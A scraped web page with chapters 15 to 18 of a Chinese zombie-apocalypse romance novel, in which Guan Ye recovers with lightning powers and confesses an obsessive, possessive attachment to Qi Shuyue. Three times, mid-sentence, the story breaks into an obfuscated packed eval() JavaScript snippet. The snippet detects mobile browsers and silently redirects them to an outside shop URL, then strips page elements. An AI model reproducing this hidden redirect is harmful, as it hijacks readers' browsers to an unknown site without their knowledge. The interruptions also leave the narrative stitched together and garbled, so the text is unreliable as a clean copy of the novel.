15.末世篇(15) 观野沉默一瞬,动作有些迟缓地解开外套,贴身的白衬衫也脱掉了,露出形状清晰,一看便十分有力的肌肉来。 不过齐疏月并无心思观察观野的身体素质,他绕到后方,盯着自己亲手给观野缠上的医药绷带,找了剪刀剪开——此时才发现,绷带内部已经被鲜血和奇异的黏液浸透了,散发出隐隐腥味,一看便伤势严重的模样。 齐疏月脸色微微一白,停顿片刻,才稳住用心神开始清理伤口。 用药液冲洗过后,齐疏月才发觉那道被丧尸划伤的伤口已经愈合了。 新生出来的皮肉相较其他区域更白一些,有不大明显的、像是伤口被缝合后留下的疤痕,除此之外,没有任何可被指摘的异样。 真的……痊愈了。 死亡阴霾原迫在眉睫,如今骤然散去,齐疏月情绪剧烈起伏下,都有些怔怔。第一时间感到的甚至不是庆幸,而是劫后余生下的后怕。 他的眼睫颤了颤,一滴泪落在观野肩背伤口愈合留下的痕迹上。 那一滴眼泪比起药液冲洗的触感要滚烫许多,像是灼热的火舌舔过皮肤。观野的背下意识地绷紧了,片刻后,他说:“对不起,不要哭了,齐疏月。” 齐疏月有些不好意思地揉了揉眼睛,“没有哭。” 观野现在的思绪其实很混乱,一切事物和认知在他的脑海中被打乱,又以一种恐怖的速度飞快重建着。正常人类的大脑如果要同时处理这样庞大的信息流的话,大概很快就会变成一滩烂肉,偏偏现在的观野接受良好,甚至分出了绝大部分的心力去更多地关注齐疏月的现状。 同时,观野发觉自己的视力更加清晰了,能像最精密的器械一样调整观察范围,一切事物在眼中纤毫毕现。听力更加灵敏,集中精神可以听见数公里外的丧尸的脚步。 身体里,仿佛蕴含着某种极其暴虐肆意、但足够强大的力量——观野一直很清楚自己和正常人的区别,但总归身体素质还在人类范畴内,但现在身体里蕴含的力量,让他觉得自己更像是个怪物。 可身体上的变化,反而不是现在的观野最在意的。 观野不知道所谓的“异变期”,但他还清晰地记得在这不久之前,自己的异常状态。 似乎是从末日灾难开始,他也陷入了一场精神世界灾难中,整个人都变得十分的,古怪。 对外界的抵触与痛苦,对齐疏月生出的强烈而畸形的占有欲,由现在的观野来看,简直是触目惊心。 人甚至无法共情一天前的自己——观野就是如此。 所以他清楚的记得自己对齐疏月做的一桩桩荒唐事,像是溺水的怪物,拼命地汲取着齐疏月的气息与存在。在秩序崩塌的末日中,未尽本职,反而生出了像是趁人之危般恶心又扭曲的欲.望。 他想永远地留着自己的月亮,想和齐疏月永久浸泡在爱与欲.望的天地中,由此生出了更为专制恐怖的掌控欲。 也因为齐疏月不愿意被他掌控,才发生了后续的独自出逃遇险事件,现在让观野想来,也依旧难以不后怕——如果齐疏月,真的出事了,他要怎么办。 在那件意外后伴随而来的,还有无可奈何地爆发出的争吵。 有一丝十分卑劣的窃喜的,观野甚至庆幸于自己身上暴露出来的伤势暂时中止了两人间的矛盾,只是连锁引发的效应,让他陷入了更深的悔恨、愧疚,和混乱当中。 齐疏月没有放弃将要变成怪物的自己,他甚至,愿意和自己一起死。 哪怕如今观野很坚定地认为,小少爷是年纪太小心思又很单纯,很容易心软被骗,才会做出这样意气之下的决定……但即便如此,那段时间性命相连的温情动摇,也足够作为最上瘾的饵料喂食观野心底那头可怕的野兽,让他蓬勃的欲.望更加难以被克制地放大,无法阻拦地,想要的更多。 可那时候的观野也实在不够清醒聪明,做出的都是些幼稚的蠢事,他无法处理好一切,也不知道怎么温和地让齐疏月离开,所以只能选择了最恶劣的办法,用违心的、刻薄的言语,试图将齐疏月推远。 现在的观野的评价,多少有点事后诸葛的意味。 但也怨不得他刻薄地评价从前的自己“愚蠢至极”。毕竟处于异变期的他做好了死亡准备,导致一切都不留余地,而留给现在的观野的切实困境就是他人没死成,那他要怎么对齐疏月解释——那些试图赶走他的话全是谎言,绝不出自本意? ……感觉不真死都没办法收场了。 观野一片惨淡地思索。 但观野很快就来不及陷入这种消极的设想中了,因为下一瞬间,意识到观野完全痊愈的齐疏月,一下从背后抱了上来。 其实那动作更像是小猫跳上人类的背部那样,齐疏月的手臂挂在观野的肩膀上。很亲昵地、有些依赖意味地靠过来轻蹭了蹭,毛绒绒的睡衣和赤.裸的上半身紧紧贴在一起,带来某种奇异的热度。 观野的身体绷得更紧,鼓起来的肌肉部分似乎都在散发着焦灼的热意,观野甚至不敢回头去看齐疏月,怕自己现在的眼神都像是一种侵.犯,从喉咙当中短暂挤出来的字句无比喑哑:“……齐疏月。” “观野。”齐疏月却没察觉到就刚才那一晃神的时间,观野已经胡思乱想到该把自己埋在哪里了。 齐疏月说:“我只是很高兴。” “我们能一起活下来了。” 我们,一起活下来。 观野的心像是一瞬间被浸泡入蜜糖当中,说不出的酸涩又柔软,这很大程度上阻止了他内心持续的自毁情绪,在短暂的沉寂后,他甚至主动提起了那回忆起来都很痛苦懊悔的过往:“我那时候说的话……对不起。不是,真心的。” 观野是不擅长袒露情绪的性格,但唯独对这件事,他想要解释清楚。既是不能接受齐疏月会对自己产生这方面的误会,也是不希望那些话,再让齐疏月难过了。 纵使在这过程中,观野认为,自己大概会不受控制地暴露出那些阴暗不堪的心思,但他唯独祈求的,只有齐疏月不要为此……再离开自己。 “啊。”齐疏月听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977439|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他提起这件事,眼睛瞳孔像猫似的微微放大了,其实也有点不好意思。 当时那种极端情况下,说出什么话都很正常,都过去了。 齐疏月听见观野的道歉,还以为观野是为自己的“不是真心”而感到愧疚,思索了片刻才小声道:“没关系的,我其实早就知道的。观野,你不必为此抱歉,你已经做得很好了。” 在道德崩塌的末世,坚持一桩难以收到回报的交易,齐疏月是真的觉得观野的人品素质已经无愧主角身份了。 然而在观野听来,齐疏月指的是自己早就知道那些话并非出自真心,只不过是一场显得不够聪明的计谋——赧然同时,也总归解开这一桩心事。 两个人驴头不对马嘴地袒露了一番真心,虽然两个人结论谬之千里,但问题好像诡异地得到了解决,氛围一派轻松温馨了起来。 齐疏月这时才想起将观野下半.身绑着的绳索也解开,顺便让观野重新披上衣服。现在气温正低,光着上半身也容易生病,虽然齐疏月很清楚,现在的观野应该体质超乎常人了——齐疏月忍不住偷觎一眼观野,又看一眼,还是忍不住开口询问:“好不容易死里逃生,观野,你有没有觉得自己哪里不一样啊?” 哪里都不一样。 像个怪物。 观野近乎淡漠地想着,但他实在不愿意在齐疏月面前表现得太怪异,所以脸上反而流露出一点疑惑神色:“力气好像大了点,看东西更清楚了。” 其实“力大无穷”也是异能的一种,更准确地说,力量系的异能者在末世里是最为常见的。但齐疏月就是觉得,观野这么厉害,应该不止有力量上的提升才对,所以他期待地靠了过去,眼睛晶亮,看上去很乖地仰头望着观野,问他:“还有呢?” 观野现在各方面的感官都十分灵敏,以至于能清晰地闻见齐疏月身上的香气。他有些不自在地微微仰头,喉结滚动了下,视线掠过齐疏月的面颊时,几乎是情不自禁地停留了下来。 齐疏月一直是很漂亮的,观野对外貌不在意,却也有最基础的审美,对这一点非常清楚。 相处这么久,按理来说他应该对这种美貌有点抵抗力了,观野却还是在一瞬间被齐疏月所俘获般,无可抵抗地沉沦于此,视线难以从齐疏月的身上转开。 这也意味着,他必须直面齐疏月带着期待的、请求的神情。 一般人很难拒绝齐疏月,观野…… 观野更没办法拒绝。 哪怕他有意隐瞒自己变成“怪物”的事实,却在看见齐疏月的神情时,身体更本能地想要满足眼前人的一切请求,像是幼稚的青春期男生会在喜欢的人面前刻意表现那样,观野下意识抬起手,在不算狭窄的寝室内部,一道雷光从他的手中猛烈击出——强光盈满室内,像是有太阳落在中央似的刺眼。 常规情况下,没有主观攻击性的异能杀伤性也不会太强,但只听一声巨响,齐疏月的床塌了,连着上面的床品都被劈成齑粉灰烬。 观野:“……” 齐疏月:“!” 16.末世篇(16) 对于眼前的意外,观野只停摆了一瞬,便找好了用以遮掩的借口。但在观野辩解之前,先听到了齐疏月带着赞叹的声音。 “——好厉害!”齐疏月情真意切地感慨,“这就是异能吗。” 意识到观野看了过来,齐疏月“唔”了一声,补充:“我看电影里演到过……丧尸都出来了,有异能也很正常嘛。” 观野作为一个有些古板的年轻人,对这些网络上的风尚并不了解,不过光从“异能”的名称上也能顾名思义了。 他更在意的一点,反而是齐疏月好像……不怕自己。 也不觉得拥有这样的力量,是个怪物。 齐疏月这会已经好奇地凑到倒塌的床铺面前,并且遗憾地确认了里面的物品已经全部阵亡了。他有点可惜,毕竟里面还挂着件他挺喜欢的猫猫睡衣和一条戴惯了的官绿色围巾,现在都付之为灰烬了。 不过好在衣柜里还有很多备用品,这种日常物资不算缺乏。 比较麻烦的在于寝室内部有些被弄脏了,以及他真的没有床睡了。 还可以睡观野的床。齐疏月很乐观地想。 反正他们之前没有特殊情况的话,也是睡一起的嘛——这会齐疏月已经忘记其实养成“睡一起”这个习惯也没多久了。 现在所有警报已经解除,观野没有变成丧尸,甚至拥有了强大的异能,齐疏月紧绷的情绪一下放松下来。第一次亲眼见证异能的兴奋劲很快过去,连着几天都没好好休息的疲乏感瞬时涌上来,要将他淹没。齐疏月揉了揉眼睛,声音已经变得轻飘飘的了:“观野,好困。我先睡一会再说。” 齐疏月这么说着的时候,目光明显落在了另一边的床上。虽然已经做出决定,齐疏月还是很礼貌地问了一声:“我睡你的床噢?” 听见齐疏月有点含糊,带着困倦意味的声音,观野那紧绷的情绪莫名也跟着放松下来,心底一阵阵发软:“嗯。” “对不起,弄塌了床。”他后知后觉地道歉,“你先休息。” 这段时间齐疏月吓坏了,也累坏了。 “唔。”齐疏月困得要命,偏偏又很讲究地爱干净,于是闭着眼睛晕晕乎乎地爬上床,还撑着快倒下的身体,想着要换身新衣服才能睡。 “观野——”齐疏月说,“衣柜里,帮我拿那件墨绿色的睡衣来。” 观野拿了。 墨绿色的睡衣是丝绸材质的,很轻薄,贴身穿着也很舒服,透着股清洗熨烫后散出来的皂角香。观野递上去,齐疏月的手从散落的床帘里伸出来,凝白的一截手腕清癯漂亮,看的观野很想环手握住丈量,再将齐疏月养的长些肉。 帘帐内传来窸窣的衣料摩挲声,齐疏月换了衣服,终于能安心地躺下了。 他将自己卷在被子里,包裹的严严实实,像是一辆圆滚滚的小卡车猫那样,明明下一秒就能歪着头睡着,但总觉得心里还惦记着什么事,于是又艰难地睁开眼:“观野,你来不来,睡觉?” 想起来了,他这段时间困得不轻,但观野也是一样,根本没正经休息过。 观野冷不防地就会被齐疏月可爱到一下,听着这话心里别提有多爽,但语气还是很平静,只是透着股黏糊糊的温柔意味:“我不困,你睡。” 齐疏月是真的累的没力气回应了,听见观野的回答,放下最后一桩惦记的事,很快便陷入进梦乡中,发出很轻的、均匀的呼吸声。 观野悄无声息地,站在帘帐外。那一点甜蜜的温情很快褪去,阴郁色彩重新将他淹没。阳台外旭日东升,却好像一点亮光都透不到他的身上。 只隔着很薄的一层帘子而已,观野能很轻易地掀开,闯入,将那一方狭窄的空间强行扩展为两个人的温床,像他之前做的那样。 小少爷天真娇气,在这种事上也很迟钝,说不定还会愿意慢吞吞地分给他一方枕头,邀请他共赴好梦。 但他已经不是前段时间意识不清、只凭借本能就将月亮囚禁在怀里的傻子了,既然已经恢复理智,更该知晓所谓界限,不该再踏入侵.犯一步。 哪怕阻隔他的,是这片他一手就能焚毁的“屏障”。 脆弱得让人发笑。 观野自然没有做出出格之事,但他也不曾离开,只寂静地伫立在床边,像是一道被遗留在此处的幽魂。偶尔能听见小少爷梦中呓语。声音很软,大概不是什么噩梦,所以观野也未曾打搅他。 随着轻微翻身的动作,未扎严实的帘帐被风吹得扬起一角,有什么东西从床的边缘处意外落了下来——观野几乎是本能地接住了它。像是一捧细雪落在了掌心。 观野怔了怔。 落在他手里的,是一团浅灰色的丝绸上衣,被乱糟糟地叠成一团。 那是齐疏月新换下来的贴身衣物。 大概实在是太困,齐疏月没像平时那样将它好好挂起来,而是很随意地揉成一团放在枕头边或者别的什么位置,总之,它现在落了下来,在观野的手心里。 天气太冷,上衣并不残留着它的主人的体温,但观野还是觉得这一件轻而小的衣物在微微发烫似的烧灼着他的掌心。 正确的做法,应当是像从前那样,将它手洗熨烫好,挂在小少爷的衣柜当中。但现在,那一瞬间界限被阴差阳错打破,起到了一种无可挽回的破窗效应。观野幽深的眼睛盯着衣物,因为情绪的剧烈跃动,眼珠似乎都有些微微发红,并未犹豫多久,观野骤然低头,挺拔的鼻梁深深地埋进那一层轻而薄的贴身衣物里,动作幅度很轻微地摩挲着那一块布料,从它翻卷开的内衬处,闻见了它紧贴在主人身上时,残留的,从皮肤深处沁出来的一缕香气。 很香。 观野很喜欢。 从他诞生以来,好像对什么都兴致缺缺,执行命令,按部就班地完成一切,像一台最精密的仪器在不断地为着某个目标永不停歇地运转下去。 这是观野第一次主观地意识到自己的情感—— 喜欢。 无论如何都无法放手的喜欢。 艰难筑起的高墙就这样轻易地被冲破,摧枯拉朽般倾塌,在寂静狭窄的一间寝室里,于观野耳边发出轰然巨响。 * 齐疏月这一觉睡得实在很长,躺得他浑身发软,醒来脑袋都是晕的。 被褥里不知何时被塞进两个注水式的热水袋,暖洋洋地散发着热度,齐疏月蜷缩着小腿又眯了会,被床下传来的香气勾得鼻子动了动,慢吞吞地往外挪动,掀开了床帘。 正好看见观野一手一份,端着两锅热腾腾的什么东西从阳台进来了。 齐疏月:“!” 观野望向齐疏月,他好像总能第一时间捕捉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982333|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐疏月的动态似的,对他道:“我还在想要不要喊你,天快黑了。” “不过现在来看刚刚好。” 滚烫的小奶锅被端正放在平时就餐的桌面上,齐疏月明显有些分心地听着观野的话,“嗯嗯”了两声,注意力全被食物勾走了,眼神跟着转,像盯着逗猫棒的猫似的专心。 齐疏月不算食欲高的类型,他吃东西其实很挑——但在末世食物不多的情况下,又意外地不太任性,还是什么都吃的,饼干面包都能啃半个多月,就是吃的少,多吃两口都像续命似的吃法。 但这会齐疏月很久没吃烹煮式的热食了,又因为太困睡了一天,也没进食,很轻易就被这香气钓起了食欲,乖乖下床,声音很软地问:“是什么呀?” “速食意面,加了肉酱包。另一锅是自热火锅里的蔬菜包和卤牛肉,另外煮了一点红肠。”观野回答。 菜式不多,因为食材缺乏,观野觉得这一餐做的实在敷衍。换在以前,齐疏月什么时候吃过这种速食食品。 但在齐疏月看来,这一顿在末世里实在显得“奢侈”,甚至可以说有点浪费了。但鉴于食物都是观野找来的,他怎么使用都没关系,齐疏月还是很快地接受了这个设定。又纠结了足足两秒钟——还是艰难挣扎着去洗漱干净了,才跑过来目光晶亮地盯着热腾腾的食物。 观野帮他先盛了一点意面出来,此时正好放凉到适合入口的温度,裹着咸鲜的番茄肉酱。虽然这类一锅煮的食物也说不上厨艺之流,但味道确实不错,藕片、土豆片之类的蔬菜脆生生的弹牙,响铃卷浸饱了汤汁,也格外鲜美。 齐疏月卷了卷意面塞进嘴里,才想起来什么,一边嚼嚼嚼一边看向观野,用眼神询问:“?” 观野竟也看懂了,唇角不太明显地完了弯了弯:“我吃过了。” 齐疏月适才继续专心与食材做斗争。锅里煮开的卤牛肉口感实在奇怪,他只挑挑拣拣吃了小口。倒是煮的红肠味道很不错,大概是哪地的特产,片成很薄一片,仍能尝出来肠衣微脆,一点油润丰腴的香气在唇齿里化开,幸福得齐疏月微微眯起眼。 一顿热腾腾的饭菜吃下来,齐疏月感觉自己身上都暖和许多,懒洋洋地恨不得就此在沙发椅上化开。 这大概是他这些天来胃口最好的一顿,饭量明显比平日有所增加,但观野煮的食物委实太多,不管是意面还是简易快餐火锅都还剩下大半锅。齐疏月不喜欢浪费食物,为难地看了一眼,觉得现在天气冷还能再留留,就见观野将锅端过去了,就着还热乎的汤汁风卷残云地干掉了剩下的半锅,汤都喝了个干净。 齐疏月有些懵,小声问:“你不是说……” 观野:“没吃饱。” 齐疏月:“。” 齐疏月多少有些不好意思了,毕竟观野狠狠出力的情况下,还让他吃剩的实在过意不去。 被热气熏腾的殷红的唇瓣微微张合,齐疏月凑过来,在还未散尽的氤氲雾气里提议:“野哥,我觉得……” 齐疏月很少用“野哥”这么个称呼,只以往在心虚或者撒娇的时候偶尔冒出来两句。观野听得心间好像被很轻地拨动了一下,有些发痒。他隐约猜到齐疏月要说什么,提前开口:“有件事我一直想告诉你。但怕你觉得我——” 观野很直勾勾地盯着齐疏月:“很奇怪。” 17.末世篇(17) 齐疏月一下被扰乱了思绪,下意识“嗯?”了一声,随后脱口而出:“不会奇怪啊。” 而且主角的“奇怪”,一般都是指什么异于常人的过人处吧。 但观野接下来说的话,的确有些出乎齐疏月的意料外。 “——我原本,一直感受不到饥饿。” 齐疏月:“?” “有记忆起我就是这样的怪物了。”观野云淡风轻地说着,视线很轻地从齐疏月疑惑的神色上掠过,很有些漫不经心,余光却是谨慎地观察着齐疏月哪怕一丝轻微的变化,“所以你之前问我的一些问题,我不知道怎么回答。” 他的体质在这一方面实在凸显出了某种非人特质。观野感受不到饥饿,自然也不会有“饱足”这种概念。天底下的食物对观野而言其实都是一样的,像是纸张、泥土、树根那样化在胃里,没有任何感觉。观野甚至可以连续一月不需要进食,身体会自动储蓄能量,再将这种力量压榨发挥至极致。 只需要微量的食物和水,足够他在极限环境中生存很久。 “进食”对他而言像是在进化中被省略掉的、微不足道的一环。 之前在学校的时候齐疏月就没怎么见过观野吃东西,还以为是在和他分开的时候自行解决了。 齐疏月都有点混乱了,这也太不科学了。 他整理了纷乱的思绪,心道虽然有点诡异,但和他之前的观点也有不谋而合的地方,在食物为硬通货的末世当中,观野的体质……大概也算是一种优势? 只是既然是这样,又为什么…… 齐疏月很不好意思地小声问:“那我之前剩下的食物,你、为什么……” 观野的目光微微偏移了一下。 沉寂一瞬,观野继续道:“这也是我觉得很古怪的地方。” “吃你剩下的食物,我会有……”即便是观野,在这时候也显得有些难以启齿了。 “满足感。或者说饱足感。” 也是那时候,观野才意识到他的“感受不到饥饿”,或许是因为一直处于某种极端的缺乏环境下感受到的麻木状态。以至于哪怕是很轻微的饱足感,都像是陨石落进湖面,激荡起一圈巨大涟漪来,被轻易地察觉到。 不过那样的“满足”,也的确太过轻微了,不到让观野上瘾的程度。 观野在这方面的自控力几乎抵达了令人发指的高度,所以也并未主动索取,只是顺水推舟——毕竟这样的事说出来,也未免太显得变态了。就像是现在的齐疏月也轻轻“啊”了一声,难得有些不知所措。 齐疏月现在明白为什么观野为什么会说那句话了,确实有一点、奇怪。 难道是生什么病导致的吗?像是异食癖之类的……不过齐疏月只是困惑,倒未曾有厌恶情绪,毕竟在他看来,这也不是观野的错。 这大概也给了观野一些鼓励。 齐疏月皮肤白,所以一有情绪变化就体现的很明显,面颊上晕开了很浅的一点薄红。因为困惑,齐疏月不自知地咬了一下唇,柔软的唇瓣浮现出稠艷色彩。 观野强迫自己的眼神不要那么直勾勾地盯着齐疏月,语气仍然十分平稳,“不过昨天我意外发现,真正起到作用的,大概是你的……” “体.液。” 观野一脸正经地说出了相当不得了的话。 齐疏月:“……?” 齐疏月好像有点呆住了,那双淡茶色的眼睛略微睁大地望着观野,一眼就能望到底似的无辜,让观野,也有一瞬的心生荡漾。 他很回神道:“那天落在我脸上的眼泪……意外之下,我发现也能带来那种满足感。” 只是当时的观野情绪波动太大,所以没意识到。直到后来冷静后,才从先前的蛛丝马迹中很轻易推测出了正确答案。 齐疏月看上去有点呆。 他消化了好一会这个惊人出格的信息,才迟疑地问:“是、是只有我的体.液吗?” “我不知道。”观野很迅速地道,“我只吃过你的剩饭。” 沉默。 两个人都先后陷入沉寂当中,空气中弥漫着古怪黏腻的暧昧气息,最后还是齐疏月先一步打破黏糊糊的氛围。 不过齐疏月关注的重点实在有些偏移。 或者说他能很轻易地发觉观野尚算轻松的口吻下掩藏的“真相”。所谓的“没有饥饿感”换成人话应该是“从来没吃饱过”,非人类的身体素质下对应的就是漫长到几乎麻木的痛苦,加上这样的令人难以启齿的“怪癖”,恐怕观野才是最饱受着折磨的那个人。 齐疏月觉得很奇怪。 他一边觉得——可是观野是这个世界的主角啊,主角为什么会这么悲惨? 一边又因为长时间的相处而带来的更密切的情感关系,先一步让感性占了上风:可是观野真的很倒霉。好可怜。 这么想着的齐疏月很认真地开口:“观野。” “你现在,还饿不饿?” 类似的话,齐疏月其实之前也问过几次,主要是出于对观野神龙见首不见尾的迷之食量的好奇。 但那是在全然不知情的情况下,如今齐疏月分明知晓了观野的秘密,这样的问话,好像被赋予了别样的含义。 观野的视线终究是无法挪开了,他紧紧盯着齐疏月,目光专注,喉结很轻微地滚动了下。 他没回话,齐疏月却已经自然而然地接下去,“我……来喂你吧?” 齐疏月大概还是害羞,含糊地带过了有关“体.液”的词汇,长而卷翘的睫毛颤抖着往下压,刚起床懒得扎起来的银发像是银缎般流淌散落,正好遮住了齐疏月半张过于美貌昳丽的脸,和他此时的表情。 太快了。 观野想。 他现在完全就是在趁人之危,借着小少爷那过于柔软善良的一面,在博取他的同情。 同情和爱是不一样的。 要是借此来获取爱意,简直太可悲了。观野认为自己不该是那样可悲、又急色的像是精.虫上脑一样的人,他的意志力也一向超乎寻常。所以在这个时候,更应该维持自身清正,作君子姿态才对。 但是当观野的视线,掠过齐疏月淡红色、像是涂抹着一点艷色花汁的唇时,又一时失声了。 齐疏月的唇形实在生的好看,线条柔和,但一点唇珠很饱满,看的人很有种上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985726|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咬一下的冲动—— 观野就想这么做,虽然他大概率也舍不得真的咬下去,但尽可摩挲、舔舐、吮吸,可以舔着那一点唇珠,温柔地启开齐疏月的双唇,汲取甘甜的汁液。 哪怕只是想象,观野都觉得身上如被烈火烧灼一般,这样的未来太具有致命的诱惑性,足以让他将理智和道德都抛却脑后,短视地只想达到触手可及的利益。 那是过于甜美丰沛、可触碰到的伊甸苹果,在毒蛇诱引下,对人类具有难以抵抗的诱惑力。 观野神色依旧冷峻,那双黑眸在某种特定角度下,像还保留着那一点奇异的红光似的诡吊。 大概迟疑的太久,齐疏月都有几分退却了。 “抱歉。”齐疏月苍白的面容上,浮现出些许云雾似的粉,他颇尴尬,“是不是很奇怪?我只是觉得,或许、可以帮你。” “不奇怪。” 观野在那一瞬间做出了最后的决定。 去它的道德底线,他就是个可悲又肤浅的好色之徒,经不起如何考验。观野的脸分明还是面无表情的镇静,齐疏月却偏偏从中看出了一丝炽热意味似的。 “我需要你。” 观野说。 他第一次这样直白独断地,表达出自己想要什么。 这种近乎示弱的靠近举动,也的确让齐疏月方才生出的无措紧张悄然化解。 小少爷看上去兴致相当之高,目光同蕴着星辰那样明亮起来。 “嗯嗯,”齐疏月说,“那去找把刀吧,切水果的刀还在不在?” 观野这会还没学会藏起自己实在露骨放肆的目光,黏稠的视线紧盯着齐疏月说话时张合的淡红色唇,甚至情不自禁地,身体都微往齐疏月的身边靠近了。 但这句突然冒出来的话也一秒让观野回过神,他甚至意识上都没反应过来,只是身体先顿住了,喉咙中冒出一声压得低哑的困惑声:“嗯?” 齐疏月和观野对视了好一会,才歪了歪头,神色也有些迷茫:“就是、刀啊。直接咬的话应该会很疼吧,而且人口腔里细菌也比较多,我有点怕感染……” 观野:“……” 观野的确停止思考了一瞬。 齐疏月:“?” 观野:“……” 齐疏月:“●A●?” 观野:“。” 大概沉默了接近半分钟,观野才意识到自己误会了什么—— 他未免“太解风情”,要说起体.液,相比唾液之流,正常人第一时间反应的,其实是血液才对。 五官有一瞬的扭曲,观野感觉喉间都有一口郁气冲上来似的,噎得他说不出话。观野闭着眼冷静了一会,方才咬牙切齿地,从嗓子眼里挤出几个字来:“不用了。” “啊?”这下轮到齐疏月不解了——虽然观野的确是容易改变主意的性格(来自多次成功经验得知),但这次未免转变的太过毫无预兆,让齐疏月忍不住追问了几句。 “为什么啊?”齐疏月很认真地盯着观野,像是要从他此时略忍耐的神情里发现什么特殊端倪一般。 “我不希望你再难受下去了。”齐疏月静了静,轻声道。 18.末世篇(18) 于是观野也安静下来了。 “齐疏月在意他”。 在意识到这点后,观野微微撇开视线,神色还是漠然,耳垂却是微微发红。隐约的失落和恼火也就此消解——这恼火倒不是因为他未能“阴谋得逞”,只是有些气齐疏月太不将自己的身体当回事,甚至有动刀的心思。 不过观野也的确被那句话微妙地哄好了。 “我不想以伤害你为代价。” “齐疏月,”观野红着耳朵直直望向他,原本死寂的黑眸里爆发出唯少年人才有的惊人热忱,“我怕你疼。” 一腔炽热未曾掩饰,哪怕齐疏月在这方面反应颇迟钝,都意识到了氛围的不同寻常。 他一下怔住,下意识想避开这些好像超乎意料之外、以至于让他感到陌生又危险的事物,脑子里打了会结,齐疏月才想到问:“可是你之前还说,你需要的……?” 观野:“……” 齐疏月:“……?” 齐疏月好像隐约摸到了什么关窍,至少自己和观野之间的理解一定出现了某种错位,在齐疏月将捕捉到那点灵光之时,先一步听见观野几乎是无可奈何的叹息声。 “算了。” “容易上瘾。”观野给了一个算得上敷衍的理由,将话题带过,他的目光无声无息地掠过齐疏月饱满的那一点唇珠部分,声音有一瞬的停滞,“存着吧。” “——当我以后的奖励。” * 必须睡了。 齐疏月紧闭着眼睛,面颊埋在柔软的鹅绒枕里,卷着观野给他新换的一床被褥,闻着上面一点皂香,睫毛很不安地微微颤动着。 他迷迷糊糊地躺一个钟头了,还是睡不着,或许是因为白日里睡太久了,又或者是还惦记着观野那未尽之意。 ……观野到底什么意思? 除此外,齐疏月也忍不住回想观野睡前和他进行的那一场很正式的谈话。 他们一同规划了近期的行动计划,讨论时和谐的不可思议。 所在的这栋寝室里几乎没什么活人踪迹了,走廊间唯独剩丧尸永不停歇地徘徊着。大学校区人群密集,也代表着末世来临后危险程度成倍翻涨,生存资源又较少,总体来说,不是长久之地。 他们剩下的物资不算少,可以即刻离开。先和外界取得联系,以生存为第一目标,再在一路上探寻曾经亲友的踪迹和信息。 齐疏月想到不久之前,他和观野还因为“留守原地”还是“外出求生”这事有过摩擦。系统颁布的作死任务,更是将这种矛盾放大到最大,当时观野过于坚决的态度还微微让齐疏月惊讶。 不过那时齐疏月就觉得,这大概率是异变期的影响——如同现在异变期结束之后,观野也果然转变了态度那样。 一切都如齐疏月想象中发展,观野和他想法一致,一同走上正轨。 而逃离学院前往外界,也必然要遭受更多危机了,不可能如身在寝室内一样安稳自在。 齐疏月心知现在最重要的是养精蓄锐,应对危机四伏的明日,可他一闭眼就想到那天出寝室看到的无头尸首,想到那只差点害死观野的、倒挂在天花板上的可怖丧尸,想到等离开之后,他会面临无数这样的怪物,看到末世对人的异化污染,就实在是没什么困意。 就在齐疏月闭着眼睛胡思乱想的时候,睡在外侧的观野忽然折过身,轻声问他:“睡不着?” “唔。”齐疏月下意识地回:“在想……” 观野声音相较平日更低哑,在狭窄一片空间中,像是抱着他俯在他耳边说话那样:“想什么,小少爷?” 齐疏月又不说话了,莫名有些羞赧,不好意思说是在担心明天和未来。 这会齐疏月总算意识到自己在隐约不安什么了,想要和观野一起离开赶快推剧情的是他,但脑海中不断浮现那些恐怖画面为之畏惧的人也是他。 趋利避害是人的本能,齐疏月不仅不能免俗,胆子还偏偏比常人更小。哪怕很清楚他作为炮灰的终极使命,但对死亡和怪物的恐惧是不会因为知道结局就削减的。 但他今天和观野提出计划时,为了尽快步入剧情正轨,可是很振振有词的、非常积极地要出去寻找生路,又怎么好意思未战先怯。 黑夜里,齐疏月眼睫颤了颤。他不知道这会观野能清晰看见他脸上有点委屈迷茫的神色,脑中还在拼命想着应对的借口。 还真让齐疏月想到一个。 末世来临时刻通了会电,但没过几天又断电了,且毫无再次接通的征兆——当然,这也是意料之中。于是齐疏月后知后觉地疑问起来:“今天那锅汤和意面怎么煮熟的?” 观野:“用异能试了一下,蛮方便的。” 齐疏月:“……” 意外之外,情、情理之中。 齐疏月一时不知该赞叹观野对于异能的学习运用不仅无师自通、炉火纯青——毕竟早上观野展示异能的时候还失手将他的床劈成了灰。还是感慨主角怎么能拿这种一看就很酷炫狂霸拽的攻击性异能拿来煮饭,也太居家了。 不过煮出来的饭确实很好吃。 齐疏月已经开始联想到以后在外面说不定也能吃到热食了……啊,这个还要考虑一下有没有足够的食材才行。 